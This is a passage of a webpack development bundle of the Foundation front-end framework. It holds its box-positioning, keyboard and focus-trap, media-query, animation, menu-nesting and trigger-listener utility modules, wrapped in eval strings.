window.pageXOffset;\n return {\n width: rect.width,\n height: rect.height,\n offset: {\n top: rect.top + winY,\n left: rect.left + winX\n },\n parentDims: {\n width: parRect.width,\n height: parRect.height,\n offset: {\n top: parRect.top + winY,\n left: parRect.left + winX\n }\n },\n windowDims: {\n width: winRect.width,\n height: winRect.height,\n offset: {\n top: winY,\n left: winX\n }\n }\n };\n}\n/**\n * Returns an object of top and left integer pixel values for dynamically rendered elements,\n * such as: Tooltip, Reveal, and Dropdown. Maintained for backwards compatibility, and where\n * you don't know alignment, but generally from\n * 6.4 forward you should use GetExplicitOffsets, as GetOffsets conflates position and alignment.\n * @function\n * @param {jQuery} element - jQuery object for the element being positioned.\n * @param {jQuery} anchor - jQuery object for the element's anchor point.\n * @param {String} position - a string relating to the desired position of the element, relative to it's anchor\n * @param {Number} vOffset - integer pixel value of desired vertical separation between anchor and element.\n * @param {Number} hOffset - integer pixel value of desired horizontal separation between anchor and element.\n * @param {Boolean} isOverflow - if a collision event is detected, sets to true to default the element to full width - any desired offset.\n * TODO alter/rewrite to work with `em` values as well/instead of pixels\n */\n\n\nfunction GetOffsets(element, anchor, position, vOffset, hOffset, isOverflow) {\n console.log(\"NOTE: GetOffsets is deprecated in favor of GetExplicitOffsets and will be removed in 6.5\");\n\n switch (position) {\n case 'top':\n return Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_0__[\"rtl\"])() ? GetExplicitOffsets(element, anchor, 'top', 'left', vOffset, hOffset, isOverflow) : GetExplicitOffsets(element, anchor, 'top', 'right', vOffset, hOffset, isOverflow);\n\n case 'bottom':\n return Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_0__[\"rtl\"])() ? GetExplicitOffsets(element, anchor, 'bottom', 'left', vOffset, hOffset, isOverflow) : GetExplicitOffsets(element, anchor, 'bottom', 'right', vOffset, hOffset, isOverflow);\n\n case 'center top':\n return GetExplicitOffsets(element, anchor, 'top', 'center', vOffset, hOffset, isOverflow);\n\n case 'center bottom':\n return GetExplicitOffsets(element, anchor, 'bottom', 'center', vOffset, hOffset, isOverflow);\n\n case 'center left':\n return GetExplicitOffsets(element, anchor, 'left', 'center', vOffset, hOffset, isOverflow);\n\n case 'center right':\n return GetExplicitOffsets(element, anchor, 'right', 'center', vOffset, hOffset, isOverflow);\n\n case 'left bottom':\n return GetExplicitOffsets(element, anchor, 'bottom', 'left', vOffset, hOffset, isOverflow);\n\n case 'right bottom':\n return GetExplicitOffsets(element, anchor, 'bottom', 'right', vOffset, hOffset, isOverflow);\n // Backwards compatibility... this along with the reveal and reveal full\n // classes are the only ones that didn't reference anchor\n\n case 'center':\n return {\n left: $eleDims.windowDims.offset.left + $eleDims.windowDims.width / 2 - $eleDims.width / 2 + hOffset,\n top: $eleDims.windowDims.offset.top + $eleDims.windowDims.height / 2 - ($eleDims.height / 2 + vOffset)\n };\n\n case 'reveal':\n return {\n left: ($eleDims.windowDims.width - $eleDims.width) / 2 + hOffset,\n top: $eleDims.windowDims.offset.top + vOffset\n };\n\n case 'reveal full':\n return {\n left: $eleDims.windowDims.offset.left,\n top: $eleDims.windowDims.offset.top\n };\n break;\n\n default:\n return {\n left: Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_0__[\"rtl\"])() ? $anchorDims.offset.left - $eleDims.width + $anchorDims.width - hOffset : $anchorDims.offset.left + hOffset,\n top: $anchorDims.offset.top + $anchorDims.height + vOffset\n };\n }\n}\n\nfunction GetExplicitOffsets(element, anchor, position, alignment, vOffset, hOffset, isOverflow) {\n var $eleDims = GetDimensions(element),\n $anchorDims = anchor ? GetDimensions(anchor) : null;\n var topVal, leftVal; // set position related attribute\n\n switch (position) {\n case 'top':\n topVal = $anchorDims.offset.top - ($eleDims.height + vOffset);\n break;\n\n case 'bottom':\n topVal = $anchorDims.offset.top + $anchorDims.height + vOffset;\n break;\n\n case 'left':\n leftVal = $anchorDims.offset.left - ($eleDims.width + hOffset);\n break;\n\n case 'right':\n leftVal = $anchorDims.offset.left + $anchorDims.width + hOffset;\n break;\n } // set alignment related attribute\n\n\n switch (position) {\n case 'top':\n case 'bottom':\n switch (alignment) {\n case 'left':\n leftVal = $anchorDims.offset.left + hOffset;\n break;\n\n case 'right':\n leftVal = $anchorDims.offset.left - $eleDims.width + $anchorDims.width - hOffset;\n break;\n\n case 'center':\n leftVal = isOverflow ? hOffset : $anchorDims.offset.left + $anchorDims.width / 2 - $eleDims.width / 2 + hOffset;\n break;\n }\n\n break;\n\n case 'right':\n case 'left':\n switch (alignment) {\n case 'bottom':\n topVal = $anchorDims.offset.top - vOffset + $anchorDims.height - $eleDims.height;\n break;\n\n case 'top':\n topVal = $anchorDims.offset.top + vOffset;\n break;\n\n case 'center':\n topVal = $anchorDims.offset.top + vOffset + $anchorDims.height / 2 - $eleDims.height / 2;\n break;\n }\n\n break;\n }\n\n return {\n top: topVal,\n left: leftVal\n };\n}\n\n\n\n//# sourceURL=webpack:///./js/foundation.util.box.js?")},"./js/foundation.util.keyboard.js":function(module,__webpack_exports__,__webpack_require__){"use strict";eval("__webpack_require__.r(__webpack_exports__);\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, \"Keyboard\", function() { return Keyboard; });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ \"jquery\");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n/* harmony import */ var _foundation_core_utils__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./foundation.core.utils */ \"./js/foundation.core.utils.js\");\n/*******************************************\n * *\n * This util was created by Marius Olbertz *\n * Please thank Marius on GitHub /owlbertz *\n * or the web http://www.mariusolbertz.de/ *\n * *\n ******************************************/\n\n\n\n\nvar keyCodes = {\n 9: 'TAB',\n 13: 'ENTER',\n 27: 'ESCAPE',\n 32: 'SPACE',\n 35: 'END',\n 36: 'HOME',\n 37: 'ARROW_LEFT',\n 38: 'ARROW_UP',\n 39: 'ARROW_RIGHT',\n 40: 'ARROW_DOWN'\n};\nvar commands = {}; // Functions pulled out to be referenceable from internals\n\nfunction findFocusable($element) {\n if (!$element) {\n return false;\n }\n\n return $element.find('a[href], area[href], input:not([disabled]), select:not([disabled]), textarea:not([disabled]), button:not([disabled]), iframe, object, embed, *[tabindex], *[contenteditable]').filter(function () {\n if (!jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).is(':visible') || jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).attr('tabindex') < 0) {\n return false;\n } //only have visible elements and those that have a tabindex greater or equal 0\n\n\n return true;\n });\n}\n\nfunction parseKey(event) {\n var key = keyCodes[event.which || event.keyCode] || String.fromCharCode(event.which).toUpperCase(); // Remove un-printable characters, e.g. for `fromCharCode` calls for CTRL only events\n\n key = key.replace(/\\W+/, '');\n if (event.shiftKey) key = \"SHIFT_\".concat(key);\n if (event.ctrlKey) key = \"CTRL_\".concat(key);\n if (event.altKey) key = \"ALT_\".concat(key); // Remove trailing underscore, in case only modifiers were used (e.g. only `CTRL_ALT`)\n\n key = key.replace(/_$/, '');\n return key;\n}\n\nvar Keyboard = {\n keys: getKeyCodes(keyCodes),\n\n /**\n * Parses the (keyboard) event and returns a String that represents its key\n * Can be used like Foundation.parseKey(event) === Foundation.keys.SPACE\n * @param {Event} event - the event generated by the event handler\n * @return String key - String that represents the key pressed\n */\n parseKey: parseKey,\n\n /**\n * Handles the given (keyboard) event\n * @param {Event} event - the event generated by the event handler\n * @param {String} component - Foundation component's name, e.g. Slider or Reveal\n * @param {Objects} functions - collection of functions that are to be executed\n */\n handleKey: function handleKey(event, component, functions) {\n var commandList = commands[component],\n keyCode = this.parseKey(event),\n cmds,\n command,\n fn;\n if (!commandList) return console.warn('Component not defined!');\n\n if (typeof commandList.ltr === 'undefined') {\n // this component does not differentiate between ltr and rtl\n cmds = commandList; // use plain list\n } else {\n // merge ltr and rtl: if document is rtl, rtl overwrites ltr and vice versa\n if (Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_1__[\"rtl\"])()) cmds = jquery__WEBPACK_IMPORTED_MODULE_0___default.a.extend({}, commandList.ltr, commandList.rtl);else cmds = jquery__WEBPACK_IMPORTED_MODULE_0___default.a.extend({}, commandList.rtl, commandList.ltr);\n }\n\n command = cmds[keyCode];\n fn = functions[command];\n\n if (fn && typeof fn === 'function') {\n // execute function if exists\n var returnValue = fn.apply();\n\n if (functions.handled || typeof functions.handled === 'function') {\n // execute function when event was handled\n functions.handled(returnValue);\n }\n } else {\n if (functions.unhandled || typeof functions.unhandled === 'function') {\n // execute function when event was not handled\n functions.unhandled();\n }\n }\n },\n\n /**\n * Finds all focusable elements within the given `$element`\n * @param {jQuery} $element - jQuery object to search within\n * @return {jQuery} $focusable - all focusable elements within `$element`\n */\n findFocusable: findFocusable,\n\n /**\n * Returns the component name name\n * @param {Object} component - Foundation component, e.g. Slider or Reveal\n * @return String componentName\n */\n register: function register(componentName, cmds) {\n commands[componentName] = cmds;\n },\n // TODO9438: These references to Keyboard need to not require global. Will 'this' work in this context?\n //\n\n /**\n * Traps the focus in the given element.\n * @param {jQuery} $element jQuery object to trap the foucs into.\n */\n trapFocus: function trapFocus($element) {\n var $focusable = findFocusable($element),\n $firstFocusable = $focusable.eq(0),\n $lastFocusable = $focusable.eq(-1);\n $element.on('keydown.zf.trapfocus', function (event) {\n if (event.target === $lastFocusable[0] && parseKey(event) === 'TAB') {\n event.preventDefault();\n $firstFocusable.focus();\n } else if (event.target === $firstFocusable[0] && parseKey(event) === 'SHIFT_TAB') {\n event.preventDefault();\n $lastFocusable.focus();\n }\n });\n },\n\n /**\n * Releases the trapped focus from the given element.\n * @param {jQuery} $element jQuery object to release the focus for.\n */\n releaseFocus: function releaseFocus($element) {\n $element.off('keydown.zf.trapfocus');\n }\n};\n/*\n * Constants for easier comparing.\n * Can be used like Foundation.parseKey(event) === Foundation.keys.SPACE\n */\n\nfunction getKeyCodes(kcs) {\n var k = {};\n\n for (var kc in kcs) {\n k[kcs[kc]] = kcs[kc];\n }\n\n return k;\n}\n\n\n\n//# sourceURL=webpack:///./js/foundation.util.keyboard.js?")},"./js/foundation.util.mediaQuery.js":function(module,__webpack_exports__,__webpack_require__){"use strict";eval("__webpack_require__.r(__webpack_exports__);\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, \"MediaQuery\", function() { return MediaQuery; });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ \"jquery\");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n\n\nfunction _typeof(obj) { if (typeof Symbol === \"function\" && typeof Symbol.iterator === \"symbol\") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === \"function\" && obj.constructor === Symbol && obj !== Symbol.prototype ? \"symbol\" : typeof obj; }; } return _typeof(obj); }\n\n // Default set of media queries\n\nvar defaultQueries = {\n 'default': 'only screen',\n landscape: 'only screen and (orientation: landscape)',\n portrait: 'only screen and (orientation: portrait)',\n retina: 'only screen and (-webkit-min-device-pixel-ratio: 2),' + 'only screen and (min--moz-device-pixel-ratio: 2),' + 'only screen and (-o-min-device-pixel-ratio: 2/1),' + 'only screen and (min-device-pixel-ratio: 2),' + 'only screen and (min-resolution: 192dpi),' + 'only screen and (min-resolution: 2dppx)'\n}; // matchMedia() polyfill - Test a CSS media type/query in JS.\n// Authors & copyright(c) 2012: Scott Jehl, Paul Irish, Nicholas Zakas, David Knight. MIT license\n\n/* eslint-disable */\n\nwindow.matchMedia || (window.matchMedia = function () {\n \"use strict\"; // For browsers that support matchMedium api such as IE 9 and webkit\n\n var styleMedia = window.styleMedia || window.media; // For those that don't support matchMedium\n\n if (!styleMedia) {\n var style = document.createElement('style'),\n script = document.getElementsByTagName('script')[0],\n info = null;\n style.type = 'text/css';\n style.id = 'matchmediajs-test';\n\n if (!script) {\n document.head.appendChild(style);\n } else {\n script.parentNode.insertBefore(style, script);\n } // 'style.currentStyle' is used by IE <= 8 and 'window.getComputedStyle' for all other browsers\n\n\n info = 'getComputedStyle' in window && window.getComputedStyle(style, null) || style.currentStyle;\n styleMedia = {\n matchMedium: function matchMedium(media) {\n var text = '@media ' + media + '{ #matchmediajs-test { width: 1px; } }'; // 'style.styleSheet' is used by IE <= 8 and 'style.textContent' for all other browsers\n\n if (style.styleSheet) {\n style.styleSheet.cssText = text;\n } else {\n style.textContent = text;\n } // Test if media query is true or false\n\n\n return info.width === '1px';\n }\n };\n }\n\n return function (media) {\n return {\n matches: styleMedia.matchMedium(media || 'all'),\n media: media || 'all'\n };\n };\n}());\n/* eslint-enable */\n\nvar MediaQuery = {\n queries: [],\n current: '',\n\n /**\n * Initializes the media query helper, by extracting the breakpoint list from the CSS and activating the breakpoint watcher.\n * @function\n * @private\n */\n _init: function _init() {\n var self = this;\n var $meta = jquery__WEBPACK_IMPORTED_MODULE_0___default()('meta.foundation-mq');\n\n if (!$meta.length) {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()('').appendTo(document.head);\n }\n\n var extractedStyles = jquery__WEBPACK_IMPORTED_MODULE_0___default()('.foundation-mq').css('font-family');\n var namedQueries;\n namedQueries = parseStyleToObject(extractedStyles);\n\n for (var key in namedQueries) {\n if (namedQueries.hasOwnProperty(key)) {\n self.queries.push({\n name: key,\n value: \"only screen and (min-width: \".concat(namedQueries[key], \")\")\n });\n }\n }\n\n this.current = this._getCurrentSize();\n\n this._watcher();\n },\n\n /**\n * Checks if the screen is at least as wide as a breakpoint.\n * @function\n * @param {String} size - Name of the breakpoint to check.\n * @returns {Boolean} `true` if the breakpoint matches, `false` if it's smaller.\n */\n atLeast: function atLeast(size) {\n var query = this.get(size);\n\n if (query) {\n return window.matchMedia(query).matches;\n }\n\n return false;\n },\n\n /**\n * Checks if the screen matches to a breakpoint.\n * @function\n * @param {String} size - Name of the breakpoint to check, either 'small only' or 'small'. Omitting 'only' falls back to using atLeast() method.\n * @returns {Boolean} `true` if the breakpoint matches, `false` if it does not.\n */\n is: function is(size) {\n size = size.trim().split(' ');\n\n if (size.length > 1 && size[1] === 'only') {\n if (size[0] === this._getCurrentSize()) return true;\n } else {\n return this.atLeast(size[0]);\n }\n\n return false;\n },\n\n /**\n * Gets the media query of a breakpoint.\n * @function\n * @param {String} size - Name of the breakpoint to get.\n * @returns {String|null} - The media query of the breakpoint, or `null` if the breakpoint doesn't exist.\n */\n get: function get(size) {\n for (var i in this.queries) {\n if (this.queries.hasOwnProperty(i)) {\n var query = this.queries[i];\n if (size === query.name) return query.value;\n }\n }\n\n return null;\n },\n\n /**\n * Gets the current breakpoint name by testing every breakpoint and returning the last one to match (the biggest one).\n * @function\n * @private\n * @returns {String} Name of the current breakpoint.\n */\n _getCurrentSize: function _getCurrentSize() {\n var matched;\n\n for (var i = 0; i < this.queries.length; i++) {\n var query = this.queries[i];\n\n if (window.matchMedia(query.value).matches) {\n matched = query;\n }\n }\n\n if (_typeof(matched) === 'object') {\n return matched.name;\n } else {\n return matched;\n }\n },\n\n /**\n * Activates the breakpoint watcher, which fires an event on the window whenever the breakpoint changes.\n * @function\n * @private\n */\n _watcher: function _watcher() {\n var _this = this;\n\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).off('resize.zf.mediaquery').on('resize.zf.mediaquery', function () {\n var newSize = _this._getCurrentSize(),\n currentSize = _this.current;\n\n if (newSize !== currentSize) {\n // Change the current media query\n _this.current = newSize; // Broadcast the media query change on the window\n\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).trigger('changed.zf.mediaquery', [newSize, currentSize]);\n }\n });\n }\n}; // Thank you: https://github.com/sindresorhus/query-string\n\nfunction parseStyleToObject(str) {\n var styleObject = {};\n\n if (typeof str !== 'string') {\n return styleObject;\n }\n\n str = str.trim().slice(1, -1); // browsers re-quote string style values\n\n if (!str) {\n return styleObject;\n }\n\n styleObject = str.split('&').reduce(function (ret, param) {\n var parts = param.replace(/\\+/g, ' ').split('=');\n var key = parts[0];\n var val = parts[1];\n key = decodeURIComponent(key); // missing `=` should be `null`:\n // http://w3.org/TR/2012/WD-url-20120524/#collect-url-parameters\n\n val = typeof val === 'undefined' ? null : decodeURIComponent(val);\n\n if (!ret.hasOwnProperty(key)) {\n ret[key] = val;\n } else if (Array.isArray(ret[key])) {\n ret[key].push(val);\n } else {\n ret[key] = [ret[key], val];\n }\n\n return ret;\n }, {});\n return styleObject;\n}\n\n\n\n//# sourceURL=webpack:///./js/foundation.util.mediaQuery.js?")},"./js/foundation.util.motion.js":function(module,__webpack_exports__,__webpack_require__){"use strict";eval("__webpack_require__.r(__webpack_exports__);\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, \"Move\", function() { return Move; });\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, \"Motion\", function() { return Motion; });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ \"jquery\");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n/* harmony import */ var _foundation_core_utils__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./foundation.core.utils */ \"./js/foundation.core.utils.js\");\n\n\n\n\n/**\n * Motion module.\n * @module foundation.motion\n */\n\nvar initClasses = ['mui-enter', 'mui-leave'];\nvar activeClasses = ['mui-enter-active', 'mui-leave-active'];\nvar Motion = {\n animateIn: function animateIn(element, animation, cb) {\n animate(true, element, animation, cb);\n },\n animateOut: function animateOut(element, animation, cb) {\n animate(false, element, animation, cb);\n }\n};\n\nfunction Move(duration, elem, fn) {\n var anim,\n prog,\n start = null; // console.log('called');\n\n if (duration === 0) {\n fn.apply(elem);\n elem.trigger('finished.zf.animate', [elem]).triggerHandler('finished.zf.animate', [elem]);\n return;\n }\n\n function move(ts) {\n if (!start) start = ts; // console.log(start, ts);\n\n prog = ts - start;\n fn.apply(elem);\n\n if (prog < duration) {\n anim = window.requestAnimationFrame(move, elem);\n } else {\n window.cancelAnimationFrame(anim);\n elem.trigger('finished.zf.animate', [elem]).triggerHandler('finished.zf.animate', [elem]);\n }\n }\n\n anim = window.requestAnimationFrame(move);\n}\n/**\n * Animates an element in or out using a CSS transition class.\n * @function\n * @private\n * @param {Boolean} isIn - Defines if the animation is in or out.\n * @param {Object} element - jQuery or HTML object to animate.\n * @param {String} animation - CSS class to use.\n * @param {Function} cb - Callback to run when animation is finished.\n */\n\n\nfunction animate(isIn, element, animation, cb) {\n element = jquery__WEBPACK_IMPORTED_MODULE_0___default()(element).eq(0);\n if (!element.length) return;\n var initClass = isIn ? initClasses[0] : initClasses[1];\n var activeClass = isIn ? activeClasses[0] : activeClasses[1]; // Set up the animation\n\n reset();\n element.addClass(animation).css('transition', 'none');\n requestAnimationFrame(function () {\n element.addClass(initClass);\n if (isIn) element.show();\n }); // Start the animation\n\n requestAnimationFrame(function () {\n element[0].offsetWidth;\n element.css('transition', '').addClass(activeClass);\n }); // Clean up the animation when it finishes\n\n element.one(Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_1__[\"transitionend\"])(element), finish); // Hides the element (for out animations), resets the element, and runs a callback\n\n function finish() {\n if (!isIn) element.hide();\n reset();\n if (cb) cb.apply(element);\n } // Resets transitions and removes motion-specific classes\n\n\n function reset() {\n element[0].style.transitionDuration = 0;\n element.removeClass(\"\".concat(initClass, \" \").concat(activeClass, \" \").concat(animation));\n }\n}\n\n\n\n//# sourceURL=webpack:///./js/foundation.util.motion.js?")},"./js/foundation.util.nest.js":function(module,__webpack_exports__,__webpack_require__){"use strict";eval("__webpack_require__.r(__webpack_exports__);\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, \"Nest\", function() { return Nest; });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ \"jquery\");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n\n\n\nvar Nest = {\n Feather: function Feather(menu) {\n var type = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : 'zf';\n menu.attr('role', 'menubar');\n var items = menu.find('li').attr({\n 'role': 'menuitem'\n }),\n subMenuClass = \"is-\".concat(type, \"-submenu\"),\n subItemClass = \"\".concat(subMenuClass, \"-item\"),\n hasSubClass = \"is-\".concat(type, \"-submenu-parent\"),\n applyAria = type !== 'accordion'; // Accordions handle their own ARIA attriutes.\n\n items.each(function () {\n var $item = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this),\n $sub = $item.children('ul');\n\n if ($sub.length) {\n $item.addClass(hasSubClass);\n $sub.addClass(\"submenu \".concat(subMenuClass)).attr({\n 'data-submenu': ''\n });\n\n if (applyAria) {\n $item.attr({\n 'aria-haspopup': true,\n 'aria-label': $item.children('a:first').text()\n }); // Note: Drilldowns behave differently in how they hide, and so need\n // additional attributes. We should look if this possibly over-generalized\n // utility (Nest) is appropriate when we rework menus in 6.4\n\n if (type === 'drilldown') {\n $item.attr({\n 'aria-expanded': false\n });\n }\n }\n\n $sub.addClass(\"submenu \".concat(subMenuClass)).attr({\n 'data-submenu': '',\n 'role': 'menubar'\n });\n\n if (type === 'drilldown') {\n $sub.attr({\n 'aria-hidden': true\n });\n }\n }\n\n if ($item.parent('[data-submenu]').length) {\n $item.addClass(\"is-submenu-item \".concat(subItemClass));\n }\n });\n return;\n },\n Burn: function Burn(menu, type) {\n var //items = menu.find('li'),\n subMenuClass = \"is-\".concat(type, \"-submenu\"),\n subItemClass = \"\".concat(subMenuClass, \"-item\"),\n hasSubClass = \"is-\".concat(type, \"-submenu-parent\");\n menu.find('>li, > li > ul, .menu, .menu > li, [data-submenu] > li').removeClass(\"\".concat(subMenuClass, \" \").concat(subItemClass, \" \").concat(hasSubClass, \" is-submenu-item submenu is-active\")).removeAttr('data-submenu').css('display', '');\n }\n};\n\n\n//# sourceURL=webpack:///./js/foundation.util.nest.js?")},"./js/foundation.util.triggers.js":function(module,__webpack_exports__,__webpack_require__){"use strict";eval("__webpack_require__.r(__webpack_exports__);\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, \"Triggers\", function() { return Triggers; });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ \"jquery\");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n/* harmony import */ var _foundation_core_utils__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./foundation.core.utils */ \"./js/foundation.core.utils.js\");\n/* harmony import */ var _foundation_util_motion__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./foundation.util.motion */ \"./js/foundation.util.motion.js\");\n\n\nfunction _typeof(obj) { if (typeof Symbol === \"function\" && typeof Symbol.iterator === \"symbol\") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === \"function\" && obj.constructor === Symbol && obj !== Symbol.prototype ? \"symbol\" : typeof obj; }; } return _typeof(obj); }\n\n\n\n\n\nvar MutationObserver = function () {\n var prefixes = ['WebKit', 'Moz', 'O', 'Ms', ''];\n\n for (var i = 0; i < prefixes.length; i++) {\n if (\"\".concat(prefixes[i], \"MutationObserver\") in window) {\n return window[\"\".concat(prefixes[i], \"MutationObserver\")];\n }\n }\n\n return false;\n}();\n\nvar triggers = function triggers(el, type) {\n el.data(type).split(' ').forEach(function (id) {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(\"#\".concat(id))[type === 'close' ? 'trigger' : 'triggerHandler'](\"\".concat(type, \".zf.trigger\"), [el]);\n });\n};\n\nvar Triggers = {\n Listeners: {\n Basic: {},\n Global: {}\n },\n Initializers: {}\n};\nTriggers.Listeners.Basic = {\n openListener: function openListener() {\n triggers(jquery__WEBPACK_IMPORTED_MODULE_0___default()(this), 'open');\n },\n closeListener: function closeListener() {\n var id = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).data('close');\n\n if (id) {\n triggers(jquery__WEBPACK_IMPORTED_MODULE_0___default()(this), 'close');\n } else {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).trigger('close.zf.trigger');\n }\n },\n toggleListener: function toggleListener() {\n var id = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).data('toggle');\n\n if (id) {\n triggers(jquery__WEBPACK_IMPORTED_MODULE_0___default()(this), 'toggle');\n } else {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).trigger('toggle.zf.trigger');\n }\n },\n closeableListener: function closeableListener(e) {\n e.stopPropagation();\n var animation = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).data('closable');\n\n if (animation !== '') {\n _foundation_util_motion__WEBPACK_IMPORTED_MODULE_2__[\"Motion\"].animateOut(jquery__WEBPACK_IMPORTED_MODULE_0___default()(this), animation, function () {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).trigger('closed.zf');\n });\n } else {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).fadeOut().trigger('closed.zf');\n }\n },\n toggleFocusListener: function toggleFocusListener() {\n var id = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).data('toggle-focus');\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(\"#\".concat(id)).triggerHandler('toggle.zf.trigger', [jquery__WEBPACK_IMPORTED_MODULE_0___default()(this)]);\n }\n}; // Elements with [data-open] will reveal a plugin that supports it when clicked.\n\nTriggers.Initializers.addOpenListener = function ($elem) {\n $elem.off('click.zf.trigger', Triggers.Listeners.Basic.openListener);\n $elem.on('click.zf.trigger', '[data-open]', Triggers.Listeners.Basic.openListener);\n}; // Elements with [data-close] will close a plugin that supports it when clicked.\n// If used without a value on [data-close], the event will bubble, allowing it to close a parent component.\n\n\nTriggers.Initializers.addCloseListener = function ($elem) {\n $elem.off('click.zf.trigger', Triggers.Listeners.Basic.closeListener);\n $elem.on('click.zf.trigger', '[data-close]', Triggers.Listeners.Basic.closeListener);\n}; // Elements with [data-toggle] will toggle a plugin that supports it when clicked.\n\n\nTriggers.Initializers.addToggleListener = function ($elem) {\n $elem.off('click.zf.trigger', Triggers.Listeners.Basic.toggleListener);\n $elem.on('click.zf.trigger', '[data-toggle]', Triggers.Listeners.Basic.toggleListener);\n}; // Elements with [data-closable] will respond to close.zf.trigger events.\n\n\nTriggers.Initializers.addCloseableListener = function ($elem) {\n $elem.off('close.zf.trigger', Triggers.Listeners.Basic.closeableListener);\n $elem.on('close.zf.trigger', '[data-closeable], [data-closable]', Triggers.Listeners.Basic.closeableListener);\n}; // Elements with [data-toggle-focus] will respond to coming in and out of focus\n\n\nTriggers.Initializers.addToggleFocusListener = function ($elem) {\n $elem.off('focus.zf.trigger blur.zf.trigger', Triggers.Listeners.Basic.toggleFocusListener);\n $elem.on('focus.zf.trigger blur.zf.trigger', '[data-toggle-focus]', Triggers.Listeners.Basic.toggleFocusListener);\n}; // More Global/complex listeners and triggers\n\n\nTriggers.Listeners.Global = {\n resizeListener: function resizeListener($nodes) {\n if (!MutationObserver) {\n //fallback for IE 9\n $nodes.each(function () {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).triggerHandler('resizeme.zf.trigger');\n });\n } //trigger all listening elements and signal a resize event\n\n\n $nodes.attr('data-events', \"resize\");\n },\n scrollListener: function scrollListener($nodes) {\n if (!MutationObserver) {\n //fallback for IE 9\n $nodes.each(function () {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).triggerHandler('scrollme.zf.trigger');\n });\n } //trigger all listening elements and signal a scroll event\n\n\n $nodes.attr('data-events', \"scroll\");\n },\n closeMeListener: function closeMeListener(e, pluginId) {\n var plugin = e.namespace.split('.')[0];\n var plugins = jquery__WEBPACK_IMPORTED_MODULE_0___default()(\"[data-\".concat(plugin, \"]\")).not(\"[data-yeti-box=\\\"\".concat(pluginId, \"\\\"]\"));\n plugins.each(function () {\n var _this = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this);\n\n _this.triggerHandler('close.zf.trigger', [_this]);\n });\n } // Global, parses whole document.\n\n};\n\nTriggers.Initializers.addClosemeListener = function (pluginName) {\n var yetiBoxes = jquery__WEBPACK_IMPORTED_MODULE_0___default()('[data-yeti-box]'),\n plugNames = ['dropdown', 'tooltip', 'reveal'];\n\n if (pluginName) {\n if (typeof pluginName === 'string') {\n plugNames.push(pluginName);\n } else if (_typeof(pluginName) === 'object' && typeof pluginName[0] === 'string') {\n plugNames.concat(pluginName);\n } else {\n console.error('Plugin names must be strings');\n }\n }\n\n if (yetiBoxes.length) {\n var listeners = plugNames.map(function (name) {\n return \"closeme.zf.\".concat(name);\n }).join(' ');\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).off(listeners).on(listeners, Triggers.Listeners.Global.closeMeListener);\n }\n};\n\nfunction debounceGlobalListener(debounce, trigger, listener) {\n var timer,\n args = Array.prototype.slice.call(arguments, 3);\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).off(trigger).on(trigger, function (e) {\n if (timer) {\n clearTimeout(timer);\n }\n\n timer = setTimeout(function () {\n listener.apply(null, args);\n }, debounce || 10); //default time to emit scroll event\n });\n}\n\nTriggers.Initializers.addResizeListener = function (debounce) {\n var $nodes = 